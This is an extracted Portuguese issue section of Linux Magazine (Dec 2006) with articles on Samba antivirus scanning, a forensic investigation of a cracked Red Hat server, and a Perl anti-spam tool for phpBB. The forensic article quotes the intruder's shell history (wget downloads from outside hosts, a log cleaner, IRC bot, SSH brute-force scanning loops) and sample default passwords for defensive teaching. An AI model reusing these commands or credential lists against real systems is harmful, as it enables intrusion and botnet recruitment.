Avguard e DazukoAgora devemos configurar o Avguard para monitorar os compartilhamentos do Samba. Para isso, precisamos alterar os parâmetros IncludePath e ExcludePath em /etc/avguard.conf. Isso dá ao Dazuko a possibilidade de detectar o acesso ao Samba. O módulo poderá tanto autorizar quanto negar o acesso, e repassará todas

Quadro 1: MetodologiaPara eliminarmos a influência dos efeitos da rede, usamos a ferramenta cliente Smbclient, que é parte da distri-buição do Samba, executando-a sobre o sistema servidor Samba. O programa mostra a velocidade de transfe-rência para cada arquivo, junto com a velocidade média por sessão (veja a figura 6). Realizamos o benchmark várias vezes para cada configuração (para eliminar a influência do cache), antes de reunirmos os resultados.

Para cada teste executado, passamos ao Smbclient um diretório para operações de leitura e escri-ta, com aproximadamente 1 GB de dados. O diretório incluía uma imagem ISO de 600 MB, um arqui-vo tar com pequenos arquivos de teste, diversos arquivos de imagem e alguns binários do Windows®.

A diferença entre os resultados de leitura e escrita podem ser atribuídos ao buffer de gravação do Sam-ba, que é preenchido antes que seja permitido que o Linux acesse o disco. As operações de leitura, por ou-tro lado, são realizadas diretamente a partir do disco. O tamanho do buffer de gravação é configurável, embo-ra não seja desejável ter um buffer muito grande, pois isso tornaria mais lento o processo de gravação.

Figura 5: Média dos resultados de bench-mark para gravação e leitura de arquivos no servidor Samba. A figura compara as Situações 2 e 3, e também mostra os resulta-dos sem proteção contra vírus.

Figura 4: Procedimento da Situação 2. Quando o cliente SMB inicia uma operação sobre um arquivo em um compartilhamento, o objeto VFS no servidor Samba ativa o antivírus ao mesmo tempo. As setas azuis mostram o processo sem o antivírus.

Samba

Kernel

Compartilhamento 2 Compartilhamento 1

Cliente SMB

Objeto VFS

Dazuko

Sistema de arquivos

Antivir

http://supertuxbr.blogspot.com

Page 65: 26 - Web 2.0_dez_2006

| SYSADMINSamba antivírus

requisições open() direcionadas ao sistema de arquivos para o antivírus.

Enquanto o Vscan Antivir suporta o acionamento mediante fechamento, abertura e execução de arquivos, o Da-zuko trabalha apenas com operações na abertura dos arquivos. Isso significa que os arquivos não são imediatamente var-ridos quando um cliente SMB os arma-zena em um compartilhamento Samba. Uma operação open() sobre um arquivo não ocorre até que o cliente leia, execute, renomeie ou mova o arquivo. Antes que isso aconteça, o Dazuko não tem uma oportunidade de entregar o arquivo ao Avguard. Quando um programa malicioso é detectado, o Avguard reage como de-finido no arquivo de configuração; isso é, ele move o arquivo para o diretório de quarentena.

Mais Informações[1] Clam AV para Linux:

http://www.clamav.net

[2] Antivir Personal Edition Classic, da Avira: http://www.free-av.com/

[3] Kaspersky Antivírus para Servidores Samba: http://www.kaspersky.com/lin_samba

[4] Bitdefender para Samba 3, da Softwin: http://www.bitdefender.com/PRODUCT-11-en--BitDefender-for-Samba-File-Servers.html

[5] Módulo Vscan do Samba, implementação do Samba para ClamAV e Antivir: http://www.openantivirus.org

[6] Projeto Dazuko: http://www.dazuko.org

Fucionalidade versus velocidadeMonitorar as operações open() no Samba e examinar o conteúdo de arquivos pode degradar significativamente o desempe-nho. Medimos a taxa de transferência em um cliente Samba no servidor Sam-ba descrito acima (veja o quadro 1 para mais detalhes).

Para manter o benchmark justo, res-tringimos o teste às Situações 2 e 3, ambas usando o Avira Antivir. Os valores compa-rativos “sem antivírus” foram alcançados desativando-se o antivírus.

Os resultados na figura 5 mostram que a queda de performance causada pelo uso do software antivírus é mensurável. No entanto, as diferenças entre o Vscan Antivir e o Dazuko Antivir são mínimas. Aparentemente, a alternância entre os espaços do kernel e do usuário não faz tanta diferença sob condições práticas, conforme demonstrado pelas operações de gravação: 900 kbps contra 740 kbps. Para fins de comparação, a taxa média sem a ativação sob demanda do antivírus foi de 1020 kbps. De forma geral, esses resultados dependem da configuração do antivírus, e devemos sempre ser céticos quanto a eles.

Figura 6: O cliente *Smbclient* grava e lê arquivos no servidor de arquivos e mede a taxa de transferência de dados.

ConclusãoDas três situações, preferimos a ter-ceira: o Antivir sem o módulo Vscan. Apesar da falha na ausência da busca por vírus no fechamento de arquivos, o Dazuko satisfez nossas exigências para um antivírus em tempo real, bloquean-do eficientemente o acesso sob o sinal de código malicioso. ■

��������� ���������� ����������http://supertuxbr.blogspot.com

Page 66: 26 - Web 2.0_dez_2006

66

SY

SA

DM

IN

http://www.linuxmagazine.com.br

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à

Internet não fica um minuto sequer das 24 horas do dia livre de tentativas de in-vasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs insegu-ras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem, já que não me lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de cra-ckers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução do termo “hacker”), explo-radores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ga-nhar dinheiro licitamente, enfim, fazer o bem. Um cracker, por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os rastros do crackerO servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para

um novo teste, conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B enviou um email para P (provedor do link físico para a máquina atacada), informando que detectou uma tentati-va de ataque, e requisitou um retorno. P encaminhou o email para A, e esse continha alguns registros com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect ➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect

Seguindo os rastros deixados por um invasor

Na trilha do invasorO IDS informa que algo está errado. Você nota que a máquina está com comportamento inesperado. Vamos descobrir se houve uma invasão, seguir sua rota e descobrir a motivação do invasor.por Avi Alkalay

Peter Sorensen - www.sxc.hu

http://supertuxbr.blogspot.com

Page 67: 26 - Web 2.0_dez_2006

67

| SYSADMINInvasão

Linux Magazine #26 | Dezembro de 2006

➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:36:27 sshd[PID]: refused connect➥ from IP.IP.IP.IPFeb 22 12:26:27 sshd[PID]: refused connect➥ from IP.IP.IP.IP

Eles mostravam que o IDS (Intru-sion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) ten-tou se conectar várias vezes sem sucesso a seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está tes-tando várias combinações de usuário e senha ao mesmo tempo.

Fui chamado para dar explicações, pois eu havia fornecido, informalmente e por telefone, algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao email de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administra-dor de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarente-na, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. O conceito de segurança de uma distribuição não é intuitivo, mas é fato que segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que têm proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do

administrador, e não do sistema opera-cional, seja ele qual for, e do fabricante que for. O administrador precisava ago-ra descobrir como o cracker invadiu a máquina, para, corajosamente, assumir a falha e não permitir que isso aconte-cesse novamente.

Logo na inicialização da máquina, observamos consecutivas mensagens es-tranhas que não deveriam estar lá, e que continham o texto (swap). Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions, e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functionsinitscripts-7.93.20.ELbash$ rpm -V initscriptsS.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts; em segui-da, testamos sua integridade (rpm -V), e descobrimos que o arquivo foi alterado. O número 5 significa que a soma MD5 do arquivo mudou, ou, em outras pala-vras, que o conteúdo do arquivo mudou. O gerenciador de pacotes RPM obtém essa informação ao comparar essa soma do arquivo atual no disco com o valor de MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script func-tions?

A última linha do script era:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente, pois o comando crontab não se chama crontabs. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabso ficheiro /usr/bin/crontabs não pertence➥ a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não pa-ramos aqui. Queríamos saber o que esse programa fazia. Como era um binário, tentamos extrair dele algumas cadeias de caracteres:

bash$ strings /usr/bin/crontabs[...]“smbd -D”“(swapd)” &[...]

Ou seja, era o binário crontabs que imprimia na tela as mensagens com o termo (swap). Mas descobrimos ainda que o alienígena continha também a cadeia smbd -D, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verifi-car se um processo chamado smbd estava em execução, pois usamos os mesmos rpm -qf e rpm -V para constatar que esses programas também foram modificados pelo cracker. Usamos o utilitário gráfi-co ksysguard (que não foi modificado) do KDE, e conseguimos observar um tal processo smbd -D sendo executado. Chamou-nos a atenção o fato de que o ksysguard mostrava todos os processos sendo executados sem seus parâmetros, e somente o smbd apresentava um parâ-metro. Não tardou a acharmos um pro-grama chamado /usr/bin/smbd -D (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fa-zia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D”[...]Received SIGHUP; restarting.Generating new %d bit RSA key.

Figura 1: Diagrama das tentativas iniciais de invasão.

http://supertuxbr.blogspot.com

Page 68: 26 - Web 2.0_dez_2006

68 http://www.linuxmagazine.com.br

SYSADMIN | Invasão

RSA key generation complete.-b bits Size of server RSA key➥ (default: 768 bits)By-ICE_4_All ( Hackers Not Allowed! )SSH-%d.%d-%.50sThis server does not support your new ssh➥ version.Sent %d bit public key and %d bit host key.sshd version %.100s [%.100s][...]

Omitimos diversas linhas por motivo de clareza. A linha By-ICE_4_All eliminou qualquer dúvida sobre a ocorrência da visita de um cracker à máquina. Mas o mais interessante são as linhas que apa-recem abaixo dessa, que nos levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder entrar por SSH quando desejasse. Em /var/log/messages, encon-tramos a evidência final:

Feb 19 19:24:49 localhost smbd -D: RSA1➥ key generation succeededFeb 19 19:24:50 localhost smbd -D: RSA➥ key generation succeededFeb 19 19:24:51 localhost smbd -D: DSA➥ key generation succeededFeb 19 19:24:51 localhost smbd -D:➥ succeeded

Essas são mensagens típicas de um da-emon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de servidor Samba, o que não faz sentido algum e, além disso, é forte indício de que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros, pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker conseguir alterar ar-quivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos conferir o his-tórico de comandos executados por esse usuário no arquivo /root/.bash_history, e obtivemos a seguinte saída:

bash# less /root/.bash_history

[...]

cd /usr/share/.awget lamisto.octopis.com/mig.tgztar xzvf mig.tgz./mig g-u root -n 0./mig -u root -n 0cd /usr/share/.awget utilservices.iasi.rdsnet.ro/~marianu/

➥ flo.tgztar xzvf flo.tgz

[...]

cd /var/tmpwget djanda.com/get/usr.tar.gzwget djanda.com/get/x.tar.gztar xfvz usr.tar.gzcd usrchmod +rwxrwxrwx *./crondcd ..tar xfvz x.tar.gzcd xchmod +rwxrwxrwx *mv unix x./x 201.20; ./x 201.21; ./x 201.22; ./x ➥ 201.23; ./x 201.24; ./x 201.25; ./x 201.26; ./x 201.27; ./x 201.28; ./x 201.29; ./➥ x 201.30; ./x 201.31; ./x 201.32; ./x201.33; ./x 201.34; ./x 201.35; ./x 201.36;➥ ./x 201.37; ./x 201.38; ./x 201.39;./x 201.40; ./x 201.41; ./x 201.42; ./x➥ 201.43; ./x 201.44; ./x 201.45; ./x 201.46; ./x 201.47; ./x 201.48; ./x 201.49; ./➥ x 201.50

[...]

/usr/sbin/adduser scanning

O formato do arquivo .bash_history não nos permite saber quando esses coman-dos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vie-ram com eles. Analisamos cada um, e descobrimos que:

No diretório /usr/share/.a, ele instalou e executou o comando mig, que aparen-temente realiza a limpeza do histórico de login do sistema. Usamos o mesmo comando strings para analisar esse bi-nário. Isso confirmou nossa estimativa da data de ataque, pois o comando last (usado para verificar esse histórico) apon-tou dados inconsistentes por volta de 19 de fevereiro.➧ Em /var/tmp, foi baixado um tal usr.

tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também havia sido alterado, provavelmente para esconder as conexões desse bot a diversos servidores de IRC na porta padrão (6667), o que consta-tamos com o ksysguard. Explicarei mais adiante o que um cracker pode fazer com isso.Mas o mais interessante foi o arqui-

vo x.tar.gz baixado. Ele continha dois executáveis chamados find e take, além de um script intitulado simplesmente x e um arquivo muito especial de nome

code.conf. Lendo o simplíssimo script x, e verificando no histórico que ele era executado muitas vezes, e usando a in-tuição, ficou claro que o comando find varria faixas de IP inteiras em busca de máquinas com a porta 22 (SSH) aberta. A lista de máquinas encontradas era en-tão passada para o comando take, que se encarregava de usar as 18459 combina-ções de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha re-gistrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E esse arquivo já tinha uma lista das máquinas nas quais essas ferramentas conseguiram penetrar, naturalmente com suas respectivas senhas.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles sofreu uma tentativa infrutífera de invasão. Quando chegamos a isso, ainda não estava claro como a máquina de A havia sido invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de Ip-tables, serviços ativos etc. Parecia tudo correto ou, no mínimo, não alarmante-mente errado. Foi quando examinamos com mais atenção o conteúdo do arqui-vo code.conf e, entre suas mais de 18 mil linhas, encontramos as seguintes:

root passw0rdroot pa55wordroot pa55w0rdsapdb sapdbapache apacheapache 123456apache2 apacheapache2 apache2apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina invadida colocou a mão na testa e, com voz de lamento, nos con-tou que a senha de root da máquina era a manjadíssima passw0rd (com um algarismo zero no lugar da letra “o”). O serviço SSH estava aberto e permitia lo-gin do root pela rede. Aquela máquina também tinha sido vítima da varredura do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam há anos conectadas à Internet, e jamais haviam sofrido ata-

http://supertuxbr.blogspot.com

Page 69: 26 - Web 2.0_dez_2006

69

| SYSADMINInvasão

Linux Magazine #26 | Dezembro de 2006

ques. Mas uma simples senha conhecida, bem típica de ambientes de testes, onde várias pessoas compartilham acessos similares e in-formais às máquinas, foi o calcanhar de Aqui-les da pilha de seguran-ça. Isso confirma que ataques bem sucedidos são responsabilidade do administrador, e não tanto de um soft-ware de segurança em especial.

ReinstalaçãoDepois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o dis-co e partir para uma reinstalação completa. Dessa vez acompanhei de perto a instalação, e seguimos algumas simples regras de se-gurança:➧ Só instalamos paco-

tes que sabíamos que seriam usados. Desconsideramos totalmente uma instalação completa.

➧ Depois de instalado o sistema, de-sativamos alguns serviços que sabí-amos que não seriam usados, como NIS, Samba, Portmap e NFS, por exemplo.

➧ Criamos regras para o Iptables, fe-chando praticamente tudo, exceto as portas 80 (HTTP) e 443 (HTTPS).

➧ Requisitamos ao provedor do link, P, que configurasse regras semelhantes em seu roteador, formando um fi-rewall duplo.

➧ Por via das dúvidas, desabilitamos o acesso de root por SSH, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.

➧ Dessa vez foram usadas senhas de-centes, bem difíceis, com letras, nú-meros, e que não eram derivadas de palavras óbvias.

➧ Por último, as senhas só foram in-formadas para poucas pessoas, e somente de forma verbal. Evitamos passar por email.

O autorAvi Alkalay ([email protected]) é con-sultor de Linux, Software Livre, Padrões Abertos e Segurança na IBM Brasil.

Mais Informações[1] The strange tale of the Denial of Service attacks against grc.com: http://grc.com/dos/grcdos.htm

Por que o cracker ataca?Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas essas não pareciam interessá-lo. A única conclusão a que pudemos chegar foi que o cracker ata-ca por atacar, e depois usa seu ataque para atacar mais. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele prova-velmente usou ferramentas criadas por outros, talvez seguindo uma documen-tação que mostra os comandos prontos, passo a passo. Ele provavelmente não sabia direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financei-ros, nem algo que o exaltasse perante outros crackers.

Nesse ponto, é interessante explicar o que é o bot de IRC. Ele se dedica a desferir ataques do tipo DDoS (Distri-buted Denial of Service), como mostra-do na figura 2. Um bot fica constante-mente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem

a seu dispor um exército de bots, distri-buídos geograficamente e programados para executar ações sob seu comando. O DDoS acontece quando o cracker, através de comandos dados aos bots na sala de IRC, faz os computadores ataca-dos enviarem simultaneamente grandes volumes de pacotes de dados para algum site vítima, escolhido pelo cracker. Na-quele momento, o link do site vítima fica sobrecarregado, e a sensação é de que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em [1], e é leitura obrigatória a qualquer um que se interesse por segurança da informação. ■

Figura 2: Um ataque DDoS é realizado a partir de uma sala de IRC, de onde o cracker envia comandos de ataque a toda sua legião de bots.

http://supertuxbr.blogspot.com

Page 70: 26 - Web 2.0_dez_2006

70

PR

OG

RA

MA

ÇÃ

O

http://www.linuxmagazine.com.br

Meu pequeno fórum de discussão em perlmeister.com recente-mente começou a atrair bastan-

te atenção de spammers. Esses parasitas da Web miram seus bots em ferramentas populares de fórum, como o phpBB, e blogs, como o Wordpress, bombardean-do-os com mensagens que não contêm nada além de links para páginas de pô-quer e pornografia. Os spammers tentam convencer os visitantes do fórum a clicar nos websites de seus patrocinadores, e ao mesmo tempo tentam enganar os meca-nismos de busca que classificam a impor-

tância das páginas baseados no número de links apontados para elas.

O que conhecemos como comen-tários-spam [1] pode ser reduzido com a restrição de comentários somente a usuários cadastrados. Mas esse obstá-culo também pode assustar usuários legítimos preocupados com questões de privacidade. E moderar cada comen-tário antes que ele apareça no website pode ajudar a manter os spammers longe, mas o esforço que isso requer é imenso – ainda mais se considerarmos os inevitáveis atrasos que prejudicam qualquer discussão.

Quadros com letras alteradas (“Digite abai-xo as letras do quadro”) podem ajudar a garantir que realmente há uma pessoa do outro lado da conexão, e não um com-putador. Esses quadros não precisam ser tão complicados quanto nos principais sites de re-gistro, como mostra o blog de Jeremy Zawodny. Nele, simplesmente se pede que o usuário di-gite a palavra “Jeremy”

em um campo separado. A maioria dos bots não consegue cumprir essa tare-fa, pois concentram-se na infecção em massa, ficando incapazes de se adaptar às personalizações empregadas apenas em uma pequena fatia do mercado. E alguns bots não entendem realmente a interação entre Javascript e o DOM do navegador. Isso significa que até mes-mo uma simples mudança de local do software do fórum, com um código Ja-vascript ofuscado, é capaz de manter os bots distantes.

As figuras 1 e 2 mostram uma extensão trivial do phpBB que acrescenta um switch para classificar os usuários “comentaristas” como spammers. Os bots de spam sim-plesmente ignoram o switch, ou então aceitam o valor padrão, revelando-se como spammers. Se uma pessoa se esquecer de mudar o valor padrão apresentado, uma mensagem de erro a lembrará.

As próprias mensagens já postadas oferecem uma outra abordagem para detectar comentários-spam. Se uma mensagem tiver um grande número de links e pouco texto, podemos presumir tratar-se de spam. Obviamente, falsos positivos podem ser problemáticos, e por isso queremos evitá-los. É muito prová-vel que os usuários não gostem de ter

Um script Perl protege os fóruns contra o spam

Pérola contra o spamOs spammers não simplesmente enviam emails. Eles exploram fóruns de discussão e blogs, deixando mensagens cheias de links para atrair os mecanismos de busca. Um script Perl consegue limpar a bagunça.por Michael Schilli

Figura 1: Um switch faz os bots de spam se entregarem.

Figura 2: Se um usuário se esquecer de marcar a opção certa no switch, uma mensagem de erro mostrará o engano.

Roy Mattappallil – www.sxc.hu

http://supertuxbr.blogspot.com

Page 71: 26 - Web 2.0_dez_2006

71

| PROGRAMAÇÃOAntispam para fóruns

Linux Magazine #26 | Dezembro de 2006

seus comentários marcados como lixo, e pode-se acabar perdendo participantes para outros fóruns.

Email para o moderadorEm fóruns com baixo tráfego, a aborda-gem baseada em emails para o moderador oferecem uma técnica útil para reduzir o spam. O script posting-watcher, que roda como um cronjob, procura regularmente no banco de dados MySQL usado pelo phpBB entradas não lidas da tabela phpbb_posts, e faz um cache de seus IDs, junto com uma chave aleatória, no disco local. Em seguida, o script envia uma men-sagem com os dados mais importantes da mensagem (figura 3) para o modera-dor, que pode simplesmente ignorar as mensagens de conteúdo legítimo. Se o comentário for spam, o moderador pode simplesmente responder a mensagem para o script, que por sua vez lerá a cha-ve aleatória contida no email, encontra a ID do comentário no fórum e o apaga sumariamente. Seria possível modificar as tabelas do banco de dados do phpBB diretamente, mas não queria mexer com seu funcionamento interno para evitar efeitos colaterais indesejados.

Após apagar a mensagem, o script envia uma confirmação de volta para o moderador. A figura 4 demonstra todo o

procedimento. Baseado nessa abordagem, todas as mensagens (incluin-do os spams) são mos-tradas, de início, pelo phpBB, mas o spam é ra-pidamente apagado sem muito esforço. Como as comunicações com o moderador ocorrem por email, um método que a maioria das pesso-as usam extensivamente todos os dias, o esforço adicional é desprezível

em fóruns com baixo tráfego e, como efeito colateral, o moderador automati-camente se mantém em dia com o que se passa no fórum.

Impedindo o mau usoTanto o monitor do banco de dados exe-cutado regularmente pelo cronjob, quan-to o assassino serial de spam por email são implementados pelo mesmo script, posting-watcher. Quando ele é executado com o parâmetro -c (check), ele procura novas mensagens no banco de dados, e envia um email ao moderador para cada nova mensagem encontrada. Ao ser ini-ciado com a opção -k (kill), o script fica no aguardo de um email com uma chave kill pela entrada padrão.

O email não pode simplesmente conter a ID do comentário, pois é necessário ter certeza de que o email com a sentença de morte venha do moderador, e não de outra fonte. Por isso, o script gera uma chave aleatória e a guarda em um arquivo local (figura 4), juntamente com a ID do comentário sob investigação. Se o mo-derador responder à mensagem, o script extrai a chave aleatória e usa a tabela para verificar se a chave está associada a um comentário atualmente sob moderação; ele só tentará apagar o comentário se essa condição for satisfeita.

Mais sofisticadoO software de fóruns phpBB distribui os dados do fórum em mais de 30 tabelas do MySQL. Os comentários são armazenados em phpbb_posts, mas seu corpo não. Em vez disso, o phpBB usa a coluna post_id da tabela phpbb_posts para criar um link entre phpbb_posts e outra tabela, phpbb_posts_text, e então associa o comentário à mensagem completa (figura 6).

As consultas que ligam duas tabelas dessa forma são facilmente manipuladas

com o SQL. Dito isso, uma mistura de Perl e SQL não é exatamente elegante, e é por isso que os desenvolvedores ago-ra tendem a adotar wrappers Perl orien-tados a objetos sobre bancos de dados relacionais.

Essa abordagem envolve o uso de métodos de objetos para consultar o ban-co de dados e manipular os dados nele guardados. O SQL não é necessário. O framework Rose é justamente o que pre-cisamos para implementar isso em Perl, pois é bastante flexível e rápido na comu-nicação com bancos de dados SQL. Ele está disponível no CPAN e usa a abstração Rose::DB::Object para acessar linhas em tabelas de bancos de dados.

RelacionamentosComo mostra o exemplo 1, não é neces-sário fornecer manualmente os nomes das colunas para definir o wrapper ob-jeto-relacional. A função auto_initiali-ze() permite que o Rose realize buscas de forma autônoma nos mais populares sistemas de bancos de dados (MySQL, PostgreSQL, ...), e crie automaticamen-te os métodos necessários para construir uma camada de abstração.

Figura 3: O moderador do fórum pode verificar as mensagens e decidir se deseja descartar ou mantê-las.

Figura 4: Nosso matador de spam usa emails para se comunicar com o moderador.

Newpostings?

key <123>

key <123>

Cache

_latest #

#

#

Cron

FROM:

TO:SUBJECT:

kdfk kdj dkfdkjf jdkjf lldl ldl dl d ope kkdfk kdj dkfdkjf jdkjf lldl ldl dl d ope kkdfk kdj dkfdkjf jdkjf lldl ldl dl d ope k

key <123>

Email client

Email

Forum

Scraper (www::Machenize) .forward

CheckEmail reply

confirm

Click

Figura 5: O conteúdo do cache dos arquivos que armazena a chave aleatória e suas respectivas IDs.

Figura 6: O link incomum entre duas tabelas do software de fóruns phpBB.

http://supertuxbr.blogspot.com

Page 72: 26 - Web 2.0_dez_2006

72 http://www.linuxmagazine.com.br

PROGRAMAÇÃO | Antispam para fóruns

Normalmente, as ligações entre ta-belas de bancos de dados relacionais são implementadas por meio de uma chave externa em uma coluna extra, mas o phpBB é diferente nesse ponto, usando duas chaves primárias, ambas chamadas de post_id (figura 6). É uma pena, pois o Rose possui um gerencia-dor de convenções que adivinha os re-lacionamentos entre as tabelas baseado em convenções (de forma semelhante ao Ruby on Rails). Se tudo estiver con-figurado de uma forma padrão, pode-se simplesmente chamar Rose::DB::Object::Loader e deixar o Rose automaticamente cuidar de tudo sozinho.

Se ele encontrar uma tabela intitulada phpbb_posts (no plural), cria uma classe chamada PhpbbPost (no singular). Os nomes das tabelas que contenham traço baixo (_) tornam-se classes com nomes em FormatoDeCamelo. Portanto, não há necessidade de o PhppbbDB.pm chamar __PACKAGE_->meta->table(‘phpbb_topics”);, pois o Rose adivinhará automaticamente o nome da tabela do phpbb_topics baseado no nome da classe de PhpbbTopic.

Se o Rose detectar uma chave externa chamada post_text, buscará outra tabela chamada post_texts. Depois, ele ligará as classes PhpbbPost e PostText usando uma relação “N para 1” (N:1). Note que os no-mes das tabelas estão sempre no plural (post_texts), enquanto os das colunas de chaves externas são singulares, quando suas relações são 1:1 ou N:1.

Pedindo ajudaSe o esquema do banco de dados de uma aplicação não seguir essa convenção, pode-se tanto modificar o gerenciador de conven-ções quanto ajudar pessoalmente o Rose. Assim, as linhas 50 em diante do exemplo

1 especificam os relacionamentos entre a tabela phpbb_posts e as tabelas phpbb_posts_text e phpbb_topics, usando add_relationships para isso. O relacionamento text (linha 51) especifica uma relação 1:1 entre as tabelas phpbb_posts e phpbb_posts_text. Note que o nome da tabela não está no plural nesse caso, pois o phpBB utiliza o singular. O Rose consegue entrar nesse jogo sem pro-blema, já que a definição de PhpbbPostsText

especifica explicitamente o nome da tabela como phpbb_posts_text.

Uma relação 1:1 significa que cada linha de phpbb_posts está associada a uma linha em phpbb_posts_text, e vice-versa. O importante é chamar add_re-lationships antes de auto_initialize();, caso contrário, o Rose não criará os métodos de relacionamento necessários com auto_initialize().

Esse wrapper de abstração, aplicado de forma quase totalmente automática, permite que os desenvolvedores consul-tem o valor da coluna post_id, por exem-plo, em um objeto da classe PhpbbPost, usando o método post_id() e, graças ao relacionamento criado antes, chamem a cadeia de métodos text()->post_text() para acessar o texto do comentário do usuário, localizado na tabela phpbb_posts_text mas referenciado em phpbb_posts!

Uma descrição mais aprofundada do wrapper de bancos de dados orientado a objetos Rose, além de exemplos práticos de seu uso, estão disponíveis na distribuição CPAN do módulo. Em [2], há também um excelente tutorial do Rose.

Exemplo 1: PhpbbDB.pm01 #############################02 package Phpbb::DB;03 #############################04 use base qw(Rose::DB);05 __PACKAGE__06 ->use_private_registry();07 __PACKAGE__->register_db(08 driver => 'mysql',09 database => 'forum_db',10 host =>11 'forum.db.host.com',12 username => 'db_user',13 password => 'XXXXXX',14 );1516 #############################17 package Phpbb::DB::Object;18 #############################19 use base20 qw(Rose::DB::Object);2122 sub init_db {23 Phpbb::DB->new();24 }2526 #############################27 package PhpbbTopic;28 #############################29 use base "Phpbb::DB::Object";30 __PACKAGE__->meta31 ->auto_initialize();3233 #############################34 package PhpbbPostsText;35 #############################36 use base "Phpbb::DB::Object";37 __PACKAGE__->meta->table(

38 'phpbb_posts_text');39 __PACKAGE__->meta40 ->auto_initialize();4142 #############################43 package PhpbbPost;44 #############################45 use base "Phpbb::DB::Object";4647 __PACKAGE__->meta->table(48 'phpbb_posts');49 __PACKAGE__->meta50 ->add_relationships(51 text => {52 type => "one to one",53 class =>54 "PhpbbPostsText",55 column_map => {56 post_id => 'post_id'57 },58 },59 topic => {60 type => “one to one”,61 class => “PhpbbTopic”,62 column_map => {63 topic_id => ‘topic_id’64 },65 }66 );6768 __PACKAGE__->meta69 ->auto_initialize();70 __PACKAGE__->meta71 ->make_manager_class(72 'phpbb_posts');7374 1;

http://supertuxbr.blogspot.com

Page 73: 26 - Web 2.0_dez_2006

73

